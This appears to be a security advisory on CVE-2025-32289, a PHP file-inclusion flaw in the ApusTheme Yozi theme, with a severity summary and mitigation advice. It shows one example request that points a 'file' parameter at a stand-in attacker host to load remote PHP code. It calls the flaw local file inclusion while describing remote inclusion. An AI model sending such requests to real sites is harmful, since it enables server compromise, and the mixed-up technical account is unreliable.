Overview
CVE-2025-32289 is a critical vulnerability that exists due to improper control of the filename for the Include/Require statement in PHP programs. This flaw specifically affects the ApusTheme Yozi, potentially opening the door for PHP Local File Inclusion (LFI). This vulnerability poses a high risk to system security, potentially leading to a system compromise or data leakage. It is therefore crucial for system administrators and developers using ApusTheme Yozi to understand this vulnerability and apply necessary mitigations.
Vulnerability Summary
CVE ID: CVE-2025-32289
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
ApusTheme Yozi | All versions through 2.0.52
How the Exploit Works
This vulnerability arises from the application’s mishandling of filenames for Include/Require statements in PHP. By controlling the filename, an attacker can manipulate the application into including a file from a remote server. This remote file can contain malicious PHP code, which then gets executed in the context of the application. The execution can lead to unauthorized system access, compromise, or data leakage.
Conceptual Example Code
Below is a conceptual example of how an attacker might exploit this vulnerability. This example shows a malicious HTTP GET request that includes a remote file with malicious PHP code.
GET /index.php?file=http://malicious.example.com/malicious.php HTTP/1.1
Host: target.example.comIn this example, the ‘file’ parameter in the URL contains the address of the malicious PHP file on the attacker’s server (‘http://malicious.example.com/malicious.php’). When the server processes this request, it includes the remote file and executes the malicious PHP code.
Mitigation
The best mitigation for this vulnerability is to apply the vendor-provided patch. This patch addresses the flaw in the handling of filenames for Include/Require statements in PHP. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability.
Remember, keeping your systems and applications up-to-date is a key element in maintaining a strong security posture.